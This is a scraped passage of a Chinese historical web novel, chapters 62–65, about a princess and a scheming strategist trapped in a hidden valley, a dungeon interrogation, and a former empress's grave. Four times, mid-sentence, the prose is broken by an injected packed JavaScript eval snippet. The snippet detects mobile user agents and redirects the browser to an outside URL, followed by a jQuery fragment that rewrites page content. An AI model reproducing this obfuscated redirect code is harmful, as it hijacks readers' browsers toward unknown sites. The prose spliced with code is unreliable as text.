他们同时抬头,环顾身周高耸的岩壁。太高了,也太陡太险了,哪怕轻功再好,也不可能从谷底攀爬出谷。逐风阁妙绝天下的归云步在这里派不上用场,能自由进出的只有飞鸟——甚至稍笨重一些的都不行。 当年的逐风卫是如何来、如何走的,录事簿中并无记载。其人既死,那条通道便成了永远的秘密。 ……这样也好。 晏泠音很轻地打了个寒噤。 乐山是幽国与蔚州之间的天然屏障。幽兵之所以一直集中兵力攻打泾州,就是因蔚州为山所蔽,易守难攻。如果幽国知道有另一条进出乐山的通道,能直达乐山腹地,后果不堪设想。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466235|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“但若真如公子所说,已无人知晓出入山谷的方法,”晏泠音侧眸看他,“我和公子,又为何会出现在这里?” 苏觅迎着她的目光,没有眨动眼睫:“我告诉过殿下,逐风阁被分裂了。” 晏泠音凝了神。 “阁中之人不能尽为我所用,为我所用者也不能尽信。”苏觅说到这里,唇边露出意味不明的笑,“詹士伦,是个人才。” 詹士伦出身蔚州,在匪患严重时逃难去了幽国,又在奄奄一息时为老阁主上官越所救。其时逐风阁已伤了元气,人才凋敝,上官越要保苏觅安危,便需放一个懂察言观色的人在王宫里,而他挑中了并非逐风卫的詹士伦。 这一招很险,因为无法确认詹士伦忠诚与否,上官越敢赌。他看到詹士伦的第一眼便明白,这个人恨梁国,恨到欲其灭而后快。 “詹士伦为人低调,初入宫时做的是杂役的活,但他干事勤恳,慢慢就开始往上升。”苏觅回忆幼年之事时总是没有表情,至多带一丝似有若无的讥笑,“后来他得了我大哥的信任,一举平步青云,帮了我不少忙。” “他不是逐风卫,但有老阁主特许,能出入阁中阅书习武。或许就是在那时,他知道了受生谷的密道。”苏觅缓缓道,“他逐渐有了自己的势力,让我惊讶的是,老阁主没有阻止。” 晏泠音将碎发拢至耳后,没吭声。 “他会讨苏自膺欢心,让苏自膺愿意放权,把许多事都交给他处理,尤其是两国之间的黑市贸易。因而他能自由往返于幽梁两地,我想,梁国内部应当也有他的人。” “公子信他吗?”晏泠音问道,“他信公子吗?” “人太聪明便会惹出问题。”苏觅笑意不减,语气却有些发凉,“老阁主离世,阿承又陪着我待在宛京,这些年,北部几乎是他的天下了。他进可与夫人联手,退还有苏自膺作保,自然不再需要仰我鼻息。” “夫人,”这是晏泠音第二次听苏觅提到此人,“为什么会认得詹士伦?” “她有野心,在幽在梁都花了心思,”苏觅转头望向远处如镜的湖水,“我看不透她。” 湖上有鸥鸟飞掠而过,长腿摇晃,踩出一串细碎的水花。 “既如此,”晏泠音没被说服。她只觉真相还在朦胧间,有什么事没被想透,“他为什么不直接杀了你,还要大费周折地送你入谷?我与他素不相识,他又为何把我也放到了此地?” 砾石在他们脚下沙沙作响,这条路快走到头了。 “毕竟他受过老阁主的恩,”苏觅平静道,“老阁主给他的第一道,也是唯一一道命令,就是保我不死。若他良心尚在,当不会亲自动手杀我。将我放逐,让我永远困在某处,倒是个两全的妙计。” “至于殿下……” 苏觅没立刻说下去。他们曾一同漂浮其上的湖水已近在眼前。今日天气极好,湖面有粼粼波光,像是被风揉皱的细滑锦缎。 他凝视了一会儿湖水,忽然叹了口气。 “我已说了这么多,殿下就没什么要告诉我的?” 63. 动念 他那藏得滴水不漏的疑心,至此才露出了一星半点,像冰凉湿润的雾气缠敷在晏泠音身上。因为包了一层温情关怀的外衣,又叠着他恰到好处的委屈与示弱,不至于让她觉得冷,却已足够令她清醒。 詹士伦的动机成谜,苏觅亦在怀疑他,连带着怀疑被他送进谷中的晏泠音。他们需要两人合力才能拼凑出詹士伦——且还未必真实。 “我见过他,”晏泠音斟酌着开口,“他偷听我同旁人的谈话,似乎对我很感兴趣,有意试探,但我不知原因。他早年在蔚州时救过一个无依的弱女,因而我想,他或许不是恶人。” “那未必是因他良善,”苏觅眯起了眼,“也可能是心中有愧。” “我猜宋齐也认得他,”晏泠音想起那日百花窟中的纷乱剑影,“甚至关系匪浅。宋齐随我来蔚州,或许就是为了查他。” 她猜他们交过手。 那夜如水的月华下,重逢的不只她和苏觅,还有已多年未见、彼此不通生死的一对师徒。宋齐原本没有认出他的,毕竟他遮住了容颜,又在这漂泊异乡的数年里白了鬓发,早不是宋齐记忆中仗义豪侠无所不能的师父。直到那人挥剑似落梅卷雪,以势不可挡之力刺向了他的咽喉。 宋齐怔在原地。 他太熟悉那一剑,日日夜夜的勤学苦练让他对之熟悉到铭刻肺腑。落梅剑法将狠辣藏在漂亮的剑招下,唯有这一式锋芒毕露毫不遮掩,求的是一击致命。 可最后詹士伦的剑尖晃动,强行收势,只刺伤了他的左肩。 她早该看出来的,晏泠音想。宋齐的状态自那日起便有些奇怪。他言笑如常,在她面前没有提过半个字,将他自幼苦学的剑法依旧舞得凌厉生风——或许太凌厉了些。但同时他亦在挣扎思索,有时晏泠音望着他的眼睛,却觉其中有一闪而逝的恨意。 那不是大大咧咧的宋二公子会有的情绪。 “依殿下所言,詹士伦不仅在梁国救人性命,还教人武功,”苏觅沉吟道,“但他有什么理由要这样做?” 两人都陷入了沉默,片刻后晏泠音道:“他带走了账册。” “账册,”苏觅偏头看她,“什么账册?” 那是安家的账,也是梁国的账,这么多年以来,无数百姓在墨字勾勒的一笔一划间饮血吞声。晏泠音曾拼尽全力想要追查它,也确实摸得了些蛛丝马迹,但紧随而来的便是东云台的倾覆。她因之而收手,祭出自己以保全旁人,也因之而痛定思痛,再度探出了被斩断的手腕。 毕竟她已无物可失。 “所以,殿下是为了这个,”苏觅的眼中没有笑意,“才对自己下死手的吗?” 这是晏泠音第一次见他生气。他很少会在她面前露出锋芒,无论出于何种目的,一直以来,他似乎都在软语周旋,迂回退让。但此刻的苏觅令她觉到陌生,他用那样阴沉冰冷的目光逼视着她,像某种兽类,下一瞬便要缠身上来,带着嗜血的欲念,毫无留恋地咬断她的脖颈。 以免她真的死在旁人手中。 不是她的错觉。晏泠音不自觉地后撤了半步。在她刚醒来的刹那间,苏觅就是用这种眼神望着她的。他想杀她,出于他疯狂又偏执的占有的渴望。凉意涌上晏泠音的脊骨,这是她身为猎物的敏感自觉。 猎食者没有动作,阴冷在他身上化作了忧郁,他无声地望着她。 “如果不这么做,我拿什么和张无为谈?”晏泠音从他的压迫中缓过了神,她意识到自己也在生气,“他手里握着蔚州满城百姓的命,有千百种办法逼我动手,左右是逃不过的,我又何苦累及旁人?” “你又何必要顾旁人。”苏觅寒声,“只要你不松口,他就不敢动你。” 晏泠音在恼火中笑了起来:“若换做苏公子,自然不必。偌大的乐山想烧便烧,我不敢想是何等快意。” 苏觅神色微变:“有人烧了山?” 他装得太像,晏泠音几乎要被他骗过去。她索性坦然道:“今日你我困在此地,死生一线,不妨把话都说开。你早就这样计划了,不是吗?张无为盯着的是我,有我替你掩护,你可以放手去做任何想做之事。” 拥抱是假,交心是假,他赠她的百日草和红绳结亦是假。在她遇险将死之际,他分明忘掉了说过做过的一切,将她物尽其用后便一脚踢开。 又一次,晏泠音在抑制不住的怒意中警觉地想,这个人轻而易举地牵动了她的情绪。这不是好事,她必须控制自己的喜恶,以免授人以柄。 可苏觅眼中的阴云散了开去。他怔怔地看着她,在那一瞬露出了恍然的神色,语声轻缓:“你生我的气……阿音,你不恨谢朗将你当做诱饵,但肯恨我。” 他烧已尽退,面上却泛出了如霞的红晕:“因为你在等我。” 晏泠音冷笑道:“你自作多情。” 下一瞬,她被苏觅大力拥入了怀中。他在她的挣扎中压紧了手臂,不放她脱身,垂首时将咳嗽闷在了她肩头。从未有过如此酣畅的喜悦,似如甘美的汁水入喉,淋漓清甜,让他遍体的病痛都骤然消湮。 他衣衫素白,藏不住口边血迹,索性用唇去摩挲她的肩膀,喃喃重复道:“你在等我。” 晏泠音只道他疯病发作,用力推了好几次才将他推开。她左腕的伤口又开始疼痛起来,仿佛在提醒她那一刀又一刀落下时的绝望。她想过自己会活下来,但答应张无为的那一刻,她确是存了赴死的心。 她用的是苏觅赠她的刀。 “张无为害不了我,因我于死无惧,而他贪求太多。术师立身以诚,他曾做过愧事,非有信之人。”晏泠音顿了顿,“所以那日你不来最好,我更无挂碍。” “那日我受人劫持毫无意识!”苏觅的声音很凉,他迈出一步,又一次逼至她身前,“原来你是这样想的……区区一本账册,值得你赌上性命去送死?若你需要,我可以造上数本、数十本,翻来覆去不就是那些银子?” 晏泠音在骇然中紧皱了眉:“你想造假账。” “官场上处处是缝隙,不只有安漼之一只硕鼠,殿下想凭一本账册力挽狂澜,未免想得太轻易。”苏觅的旧伤被牵动,又咳了起来,说得断续,“难的不是找到账册,是逼他把银子吐出来。” “你说的这些,我知道。”晏泠音看着他血迹斑驳的衣袖,“我应该把账册留给你的。” 苏觅的眼睛咳得发红。他在咳喘的间隙里和晏泠音无声对视。他当然明白她为何不惧死,因为死是最容易的事。 “张无为出了事,蔚州必然生乱。泾州那边没有消息,我也着实担心。”晏泠音避开他的目光,虚握了一下身旁树叶筛落的光影,“你说你受人劫持……也罢,我不在意真假。但若那人还留了后手,我更不能在此地久待。我知公子智计过人,不知可否助我寻找出谷的路?” “阿音。” 晏泠音虚悬的手一颤,听见苏觅道:“我们不走了。” 谷中连鸟雀也寂静。 “这里很漂亮,有山水花木可观赏,有野果和游鱼可果腹。”他哑着嗓,梦呓般地自语,“没有旁人,没有你我之间横亘着的一切,只有我们两个。” 晏泠音望向身侧的湖泊,却觉它为雾所罩,远得如在天边。耳畔松涛阵阵,似山林低吟,她感到晕眩,辨不清送到耳边的是风声,还是苏觅微哑的呢喃。 “今日你能为了账册放手一搏,罔顾自己性命,他日遇到相似的情况,你同样能拿命冒险。恋权者必然惧死,而你对权位没有偏执,你的偏执总是放在别处。阿音,我先前看错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472602|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你不是……做帝王的人。” 晏泠音的呼吸急促起来。她又转头望向面前曲折的砾石小路,有那么一瞬,被光柱间飞扬的浮尘迷了眼。 她听见自己的声音说:“那不是很好吗?” 推动她往前走的从来都不是野心。她做的一切,不过是想还清白于无辜者,还太平于人世间。至于她能做到哪一步,在其中扮演了何种角色,留下了何种声名,都不重要。 只要她无愧于心就好。 “苏觅,”晏泠音清晰地唤他的名字,“我本不该问这句话。可我不想隐瞒,我确实好奇过,你待我,有几分真心?” 她早便想问了,在他们蔚州重逢的那一夜,在他吻住她的那个意乱情迷的瞬间。她有过很多机会,之所以不问,是因为答案没有意义。 她和苏觅所求不同,随时都可能分道扬镳,假意真情,不用看得太明白。较真者容易受伤,也容易送命。 但若真是如此,晏泠音攥紧了手指,他为什么要留她在谷中,为什么要那般轻易地说出“只有我们两个”这样的话? 他编织的美梦太有诱惑力,以至于连她也会因之犹豫。 也仅仅是犹豫而已。 放在平时,身后的人定会笑着将问题抛回,圆滑地说,殿下信几分,便有几分。可今日的苏觅格外安静,晏泠音等了许久也没有听到回答。 她往前走去,留下苏觅站在原地。 * “藏锋,”魏收听到宋贤在身后唤他,“留步。” 飞鸿剑在腰侧发出嗡鸣,魏收抚上剑柄,停下来等他追上:“什么事?” 宋贤走得急,站定时还有些气喘。他抬指到唇边打了声呼哨:“骑我的马去罢。” 魏收看着那匹飞奔而来的枣红马,微觉诧异:“你不拦我吗?” 谢朗中毒的消息虽然被封锁了,但难保城内没有幽国的探子,一旦知道此事,还未退远的幽兵必会卷土重来。泾州失了高介景,又伤了谢朗,正是缺人的时候。魏收很难不怀疑,谢朗早在与他城墙夜谈时就有了毒发的迹象,强撑着同他说那些话,就是为了挽留。 “各为其主,我不该拦。”宋贤说得很客气,“这几日,我替泾州谢谢你。” 魏收伸手拽住了马缰:“将军还好吗?” “吐了两次。”宋齐的脸色不太好看,勉强笑道,“军医说是慢性毒,已潜伏了将近一个月。” 一个月前,正是晏泠音来北地的日子。 “你不要多想,”宋贤替马拍掉了鬃毛上的飞灰,恳切道,“将军和我都没有怀疑公主。有人想阻拦公主和将军结亲,这是显然的。” 魏收翻身上马,枣红马扬蹄长嘶。他勒马回头看着宋贤:“高统领那边……” “关进了牢房,将军没有赐死。”宋贤跟着马走了几步,“等你回来,我替你安排。他也想见你。” 魏收嗤笑一声:“我没说要见他。” 宋贤松开了握着马鬃的手:“藏锋,我听闻这一路都是你在护送宣抚,他向我打听过你的身世,我看得出他从未忘记往事。你……还心有怨恨吗?” 魏收垂眸看他,过了片刻才道:“我不想留在泾州,是因为我闲散惯了,过不惯军营生活,与陈老无关。” 宋贤低声道:“魏家的事,我很抱歉。” “魏家死绝了。”魏收说得平静,“我来去无牵挂,没有怨怪任何人。”他不再看宋贤,踢了下马腹,喝道,“驾!” 枣红马在飞扬的尘土里奔跑起来,很快便看不清了。宋贤正要往回走,忽觉耳边生风,一人一马从他身侧飞快越过。 宋贤微怔:“青荷姑娘……” 青荷衣袂翻飞,追着魏收的背影,纵马奔向了西城门。 64. 行也 蔚州地牢里足音回荡,一位身材娇小的女子跟着矮个的老者,行走在牢狱深处。城中的民房破旧不堪,地牢倒是修得格外坚实,当年跟着张无为来蔚州的人里有宛京的工匠,地牢的形制仿照天狱,道路盘曲难辨,一不留神就会迷路。 老者提着风灯,他唤那位女子“二小姐”。 “老奴在外面候着。” 牢房的门哗啦一声被拉开,白行也从老者手中接过了风灯。兜帽滑落,露出了她光洁的乌发,发间插着一朵素白的绢花。 自从她进入蔚州地界,那朵绢花便没有离开过她的发。 草席上躺着人,白行也没有看他。她环顾着这间阴暗湿冷的牢房,长时间地沉默着。半晌,她卸了身后的长刀,用它剐蹭角落里一块砖石,尘土混着凝固的污血簌簌而下,露出了上面陈旧的、刀刻的字迹。 行也。 “我其行也无彷徨,感君意气成文章。”记忆里的白松言抱着幼年的她,一笔一划地教她写下自己的名字,“这是爹爹壮游山河时所做的诗,他择此二字赐名于你,是盼你来路坦荡,千里万里,行且无伤。” 少年的眉眼还未长开,言语间却已老气横秋,是个小大人了。只有在看着白行也时,那张严肃的脸上才会现出浅淡的笑。 “阿行,白家无人求富贵功名,我此生若能护你周全,便是不负爹娘的嘱托了。” 白行也的手微微颤着,不知是因为墙上熟悉的字迹,还是因为骤然涌现的过往回忆。她厌恶自己刹那的软弱,更用力地握紧了刀柄。 草席上的人发出微弱的呻.吟,白行也终于转身面朝向他,脸色很冷。她没用刀碰他,像是怕脏了刀,只抄起一旁的陶碗,将半碗水尽数浇在了那人脸上。 这一下没克制力道,水花砸开在伤口上,痛得那人倒抽了口凉气。他缓慢地睁开眼,又下意识偏头避开了风灯的光,正好对上白行也的靴尖。 “为什么,”张无为含糊道,“要救我?” 他胸口的剑伤偏了两寸,没有当场毙命。白行也冲进火场将他带了出来,又延医问药,让他苟延残喘了这几天。 张无为说完又恍惚地笑了笑:“是为了公主罢。” 白行也用靴尖抵住了他的脸,将靴上的泥都蹭在他身上:“东西呢?” “被拿走了,”张无为气若游丝,他伤得实在太重,能活多久都还是未知数,“被放火的那个人。” 白行也把他的脸又踢翻过去一点,鄙夷道:“我问的不是这个。” 张无为与她四目相对,在那一瞬忽然浑身巨震。他眼眸微亮,流露出难以置信的神色。昏黄的灯光里,白行也的面容朦胧,只眉眼间的傲气依稀如故。 他眼中的惊疑逐渐转为了恍惚,下意识道:“你长得很像你兄长。” 白行也踩住他起伏不定的胸口,压得他骤然咳喘连连:“你也配提他。” “白……姑娘,”张无为语声干哑,“东西不在我这里……你兄长……咳……至死都没有交出来……” “我脾气很差,”白行也轻声道,“不要让我问第二次。” 张无为的唇边泛出血沫,只能勉强挤出声音:“我若死……公主也会……” 白行也歪头看他,稚气未脱的脸上一派天真。她困惑道:“与我何干?” 铁栅外脚步声动,老仆抬高了声音唤她:“二小姐,有人来了。” 白行也将长刀甩回背后,大步走了出去。狭长的走道里摇晃着另一盏风灯,是葛芜,还有跟在她身后小跑的葛茵。 “姑娘,”葛芜面色凝重,一见她便道,“我知姑娘对此人恨之入骨,我又何尝不是?但现下他还不能死,万望姑娘不要冲动行事。” 葛茵在她背后探头探脑,一对上白行也的目光就缩了回去。 “他有什么用,”白行也冷酷道,“蔚州的生意都是你做的,幽国那边也要看你脸色。” 葛芜原本还想说什么,闻言却皱起了眉:“昨天那个幽国商人……” 白行也坦然承认:“我杀的。” 葛芜像是刚认识她一样,盯着她白净的面庞看了许久:“……你年纪轻轻,下手却狠。你同他有仇?” 一个“杀”字是说轻了,昨日那人的死状极惨,饶是葛芜在贫民堆里摸爬滚打了这么些年,也不敢细看。那得是怎样蚀骨焚身的恨意?葛芜一下子起了警觉。面前这个小姑娘,远比她看起来的更深不可测。 “不共戴天。”白行也说得简短。她的目光落到葛茵身上,忽然变得锐利,“你袖中藏了什么?” 葛芜也回转过身,神色不虞。在两人的注视下,葛茵面色通红,支支吾吾说不出个所以然,余光只是往来路飘,像是随时要逃。白行也身形一动就要卸刀,被葛芜匆忙按住了。她几乎立刻就看出白行也与葛茵有过节,前者固然武功高强,但后者也是爱从老虎屁股上拔毛的性子,谁惹了谁还很难说。 “茵茵,”葛芜低声呵斥她,明白现在不是护短的时候,“拿出来。” 葛茵满脸的不情愿,慢吞吞地从袖中摸出了两片薄刃,是一对极轻也极锋利的刀。葛芜心道不好,她这个妹妹脾气倔,脸皮薄,一向不肯多要她的银子,哪来的钱买这样漂亮的短刀?果不其然,一旁的白行也面色沉了下来,冷声道:“原来是你偷的。” “两把破刀罢了,还你就是。”葛茵被她说得有点恼,噘着嘴将刀递过,“我还不稀罕呢。” “茵茵!”葛芜喝住了她,自觉有些心虚。她接了刀又递给白行也,“这刀,嘶……” 她摸到了刀柄上凸起的浮纹,动作顿住了。白行也没让她细看,劈手夺过短刀,转身就走。 “姑娘留步!”葛芜疾走两步追上了她,“袖刃浮白宋成言……这是他的刀,他离开蔚州后便弃刀用剑,原来是赠给了姑娘?” 她提到宋贤的名字时语调有些异样,白行也听出什么,停步看了她一眼:“我只是替他保管。” 葛芜的脸隐在暗处,辨不清神情:“他回来了?” 白行也耸了耸肩,算是回应:“怎么,你有事寻他?” 葛芜不答。她又仔仔细细地打量起白行也,片刻才道:“原来你是谢朗的人。你对蔚州很熟悉,张无为也很忌惮你,那一夜他特意将你引走……我本以为你是公主的侍卫。” “我不是。”白行也停了片刻,又补充一句,“我谁的人都不是。” “我该想到的,”葛芜轻声道,“否则你不会抛下公主出城。” 古怪的寂静忽然弥漫开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493903|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。白行也高挑起眉毛,质问道:“你跟踪我?” “你太招摇了,姑娘。”葛芜并未否认,“又漂亮,又莽撞,想不注意都难。” “我不信。”白行也收回目光,变得兴致缺缺,“你在套我的话。你根本不知道我的行踪,因为世上没人能追上我。” 葛芜望着她高束的乌发,还有那朵在风中轻颤的素白绢花,心中复杂难言:“你武功很高,我承认,但过于自负不是好事。狂傲者总是招人忌恨,何况你又这么年轻,经历的事还是太少了。” “不必你来教我。”白行也咬着布带,将刀缠回腕间,显然不欲继续这个话题,“我昨日说的火药,你弄到了多少?” 乐山火起后,虽然不久便降了雨,灭了山火,但山匪已然元气大伤。他们本就是一帮乌合之众,规模虽大,内部却是一盘散沙,只因张无为善于调动人心,硬生生将他们凝聚起来,这才嚣张跋扈了这么多年。火药是幽国卖给张无为的,一直由山匪看守,张无为既“死”,山匪损兵折将,又群龙无首,都愿意和葛茵讲条件。 “即便你不提,我也会给谢朗送去,”葛芜拽了一把磨磨蹭蹭的葛茵,三个人一起往地牢大门走,“可他得先答应我,把姑娘们好好安顿。你愿意替我和他谈谈吗?” “我不爱听他说话,你自己去。”白行也缠完刀,牢牢打了两个结,“但你想错了,我找你要火药,不是为了朗哥哥的事。” * 受生谷里空气潮润,每日清晨都会起雾。晏泠音站在湖边,目力所及都是雾蒙蒙的水面。她犹豫片刻,俯身将手探入水中,很凉。 她将腰弯得更低,让半条手臂都没入了湖水。 “没用的。” 苏觅的声音在身后响起。他不知是何时来的,至此才出了声。见晏泠音不动,他又补充了一句:“入口不可能在湖底,否则,你我早在来时就窒息而死了。我们被放在木筏上,是因为那人知道山火可能烧到这里,水上会更安全。” 晏泠音忍不住讽刺:“他想得可真周到。” 苏觅低声笑了起来。他走近一步,伸手想要拉晏泠音:“起来罢,湖边风大。” 晏泠音拍开他的手,指着湖水反问道:“不下去看看怎么知道,万一湖底别有洞天呢?” 苏觅的眼眸闪烁:“我不会水,掉下去,我就死了。” 晏泠音手撑着膝,就那样盯着他看,这次反倒是苏觅先移开了目光。他们间的氛围自昨日起就变得奇怪,夜里两人蜷在火堆旁睡下,靠得很近,但一宿无话。晏泠音睡不踏实,她背对着苏觅,依然能感觉到他的视线粘在她背上,可当她回过头时,却见苏觅已阖上了眼,呼吸轻缓,像是早就睡熟了。 火光映照之下,他的面容静谧安和,那张毫无血色的脸被暖光镀了层晕,更衬出眉眼凉薄的轮廓。似如茫茫大雪中莲瓣轻绽,既冷且艳,美得摄人心魂。 有意无意地,苏觅在躲她。因她质问他时的坦荡,或是其他。 晏泠音不再理会他,低头继续寻找合适的下水点。苏觅不去,她可以自己去。自她在宫中失足落水、差点淹死后便苦练了闭气,水性不错,应该能探到湖底。 可她被苏觅的话引走了。他说:“殿下,我找到了晏无怀的墓。” 65. 和霖 那是一处并不起眼的坟冢,倒也难为苏觅能发现。它隐在一株古松的树影下,因为长久地无人打理而爬满荒草,又被大片不知名的野花簇拥,若不细看,很容易将它当成一只小小的土包。晏无怀没有给自己立碑,或者说,苏澹心没有替她立碑——如果关于他们的传闻是真的话。 “你怎么知道这是她的墓?”晏泠音回身问苏觅,“墓主没有留下姓名。” 苏觅不知为何走得很慢,落后她好几步。他示意晏泠音仔细看那些野花:“此花名为和霖,只产于幽国,在百年前便已绝迹。下令彻底铲除它们的,不是旁人,正是苏澹心。” 谷中风动,拂过挤挤挨挨的和霖花,芳香扑鼻。 “或许殿下亦曾听闻坊间掌故,”苏觅拾起一朵飘落的和霖,放在鼻尖轻嗅了一下,“晏无怀爱喝和霖干花所泡的茶,苏澹心便每年都往梁国送。这种茶金贵得很,当时别说是梁国,即便是幽国的富贵人家,也未必喝得起。” 晏泠音隐约听出了点什么。她也拾起一朵半枯的和霖,凑近细闻,只觉它初闻极香甜,但慢慢地便泛上了苦味,直钻入肺腑。 “苏澹心死前,最后一次召集了逐风卫,处死了与押运和霖花有关的十数名官员,手段……还挺残忍的。”苏觅将手中的和霖花插在了晏泠音鬓间,退后一步欣赏了一会儿,继续道,“我也听说晏无怀为人谨慎,不像是容易被暗算的性格,但那些来自幽国的和霖花,对于虎视眈眈的小人而言,或许是个突破口。” 晏泠音抬手时有片刻迟疑,最终还是摘下了那朵金黄的花,将它纤弱的花瓣拢在掌中:“女帝智谋过人,若只是在茶里做手脚,不可能骗得过她。” 苏觅点头道:“若只是茶有问题,确实不可能,但旁人若是以茶为引子,长年累月地谋算、布置,却未必做不到。千丈长堤以蚁穴而溃,即便只是一个小小的失误——甚至不必是失误,只要一瞬间的恍惚,或一刹那的心软,”他扬了下唇角,笑意很浅,“就足够致命了。毕竟她是君王,在那个位置上的人,不能有任何弱点。” 他看着晏泠音,用一种温柔得近于怜悯的目光。那双眸子深而暗,一层又一层的伪饰之下,依旧藏着晏泠音无法理解的东西。 掌心的和霖花随风飘走,晏泠音的指尖还残留着那苦涩到令人流泪的气味:“事到如今,公子难道想劝我放弃吗?当日在茶楼上,是公子以皇兄谋士的身份逼我做出了选择,不是吗?” 她抬指揉了下额角:“不过半月前,公子还信誓旦旦地说,要助我回京呢。” “我后悔了。” 苏觅声音很轻,却让她陡然僵了一下,而他似无所觉,就那样柔声说了下去:“我自负于才学,相信假以时日,我必将成为名扬天下的谋士。我择殿下为主,是因为殿下懂得我……不懂得也没关系。” “但那天夜里,我在回府的路上被拦下,所作的布置尽数被打乱,而殿下生死不明。我得承认,我在害怕。” “殿下昨日问我有几分真心,我不敢答。可是殿下……阿音,”苏觅上前一步,像是要拥她入怀,却迟迟没有抬起手臂,“我问你要不要留在此地时,是真心的。” 晏泠音颤抖起来,她觉得冷。苏觅的身上太冷了,只有眸光炽热得令人心惊。她当然懂得苏觅的意思,怎么会不懂得?他们两人都从未真正相信过彼此,从来都没有。 如果出现比晏泠音更适合操控的人,苏觅必然会弃她而去,就像他抛弃晏眆一样;如果苏觅做出触犯她底线的事,晏泠音也会毫不犹豫地除掉他。 他们所谓的真心,只能短暂存在于某时某地,是转瞬即逝的掠影浮光,刚一冒头便会被狠狠压回心底。 何必呢?他们都很现实,懂得时日宝贵,不会费力去做看不到结果的事。 可是此时苏觅吻住了她的唇,极尽温柔缠绵。 耳畔风起,金灿灿的和霖花齐齐低首,像是不忍见多年前的悲剧再现。苏觅揽住她的腰,晏泠音因窒息而开始晕眩。她身上燃起了火,好似在被灼烧。唇齿间皆是清苦的味道,她思绪恍惚,辨不清那气味来自和霖还是苏觅的唇齿。 真是荒谬。晏泠音在迷离间想,人竟会对明知要远离的东西产生情感和欲望。 第二阵风起时,晏泠音猛地推开了他。她抹了下被濡湿的唇,舌尖还留着一点冰凉的触感。她轻轻喘息着,看见苏觅也在喘息。他们对视间从彼此的眼中看到了相同的、自嘲的笑意。 世上没有第三个人知道,方才那极短又极长的一霎里,究竟是谁先心荡神迷。 苏觅哑声道:“昨夜……” 晏泠音眸沉如水,苏觅的后半句话就没在水里,无声无息。昨夜他们有没有拥抱有没有牵手,有没有在半梦半醒间吐露不该出口的呓语让对方听见?他们是清醒着,还是困在满是松香的梦里挣扎不得? 好在夜色就是掩护,梦终归是假的,醒后便烟消云散。 晏泠音踩折了两株和霖花。她走到晏无怀墓前,对着那一抔黄土缓缓下拜。她行的是大礼,和数月前在菩提园里拜杜慎一样。 正是在逝者面前,她才更清醒地意识到,她不能死。 “苏觅,”晏泠音唤他,她知道他在听,“你若还愿奉我为主,就来拜一拜这位帝王罢。拜一拜我大梁被埋葬的盛世。” 身后草叶摩挲,她听见苏觅的声音在耳畔响起:“盛世不只属于梁国。女帝当年为形势所迫,选择了休战和谈,她是对的。但今日,幽国已无雄才大略的君主,不可能长久地与梁国抗衡。边地百姓早已疲于征战,民心所向,是彻底的统一与和平。” “梁国遍体沉疴,从上到下都千疮百孔,连军粮都无力供给。”晏泠音脊背笔挺,定定地望着面前的坟墓,“幽国盘踞北方多年,百足之虫死而不僵,若真的打起来,只怕胜负难料。你既然知道百姓疲于征战,为何还要将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502897|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们推进更大的战事里?北地即将入冬,这场仗再打下去,他们中的许多人,根本等不到和平的那天。” 苏觅平静道:“他们的后代可以。” 晏泠音仰首。头顶的艳阳被华盖般的松叶遮挡,只有几缕阳光透过缝隙,洒落在她的额角眉梢。数只灰白的雀停在松枝间叽叽喳喳,那样欢快自在,不知这世间疾苦万端。她一直看到脖颈酸痛,才复又垂下目光,摇头道:“我不能冒险。” “朝廷要换新血,这片国土上该变天了,殿下。”苏觅勾住了她散落肩头的发,“你明明有胆量,有决心,为何要受缚于成见,畏缩不前?” “成见?”晏泠音重复了一遍他的话,“我受缚于何种成见?我为臣也好,为君也罢,求的不都是天下太平,百姓安居乐业?楼基已然朽坏,如何再筑起高台?我不必有开疆拓土的野心,那是穷兵黩武,我若做了,才是真的昏君。” “那就砸了这楼,任它坍塌,”苏觅攥紧了她的发尾,“我陪着殿下,筑新的帝王台。” 